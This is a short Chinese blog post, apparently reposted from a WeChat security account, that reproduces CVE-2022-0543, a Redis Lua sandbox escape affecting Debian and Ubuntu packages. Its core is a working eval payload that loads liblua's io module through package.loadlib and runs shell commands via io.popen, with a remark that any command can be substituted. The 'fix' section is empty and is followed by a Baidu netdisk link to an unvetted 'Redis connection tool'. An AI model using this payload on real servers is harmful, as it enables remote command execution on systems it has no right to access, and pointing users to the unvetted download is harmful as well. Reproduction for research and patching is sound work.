Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
该漏洞影响的版本有ubuntu和debian,但是我看其他帖子说centos也存在该漏洞,但是我尝试复现时并未成功
漏洞复现
1、使用redis连接工具连接上数据库
2、使用payload命令执行
打开命令行窗口
执行命令获取id
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
修改命令中id的值可执行任意命令
修复方案
redis连接工具
链接:https://pan.baidu.com/s/1sxzbtsLg4gK_GMlbpZ-jYg 提取码:pzaq --来自百度网盘
原文始发于微信公众号(鹏组安全):CVE-2022-0543(redis沙盒逃逸)复现 || redis连接工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论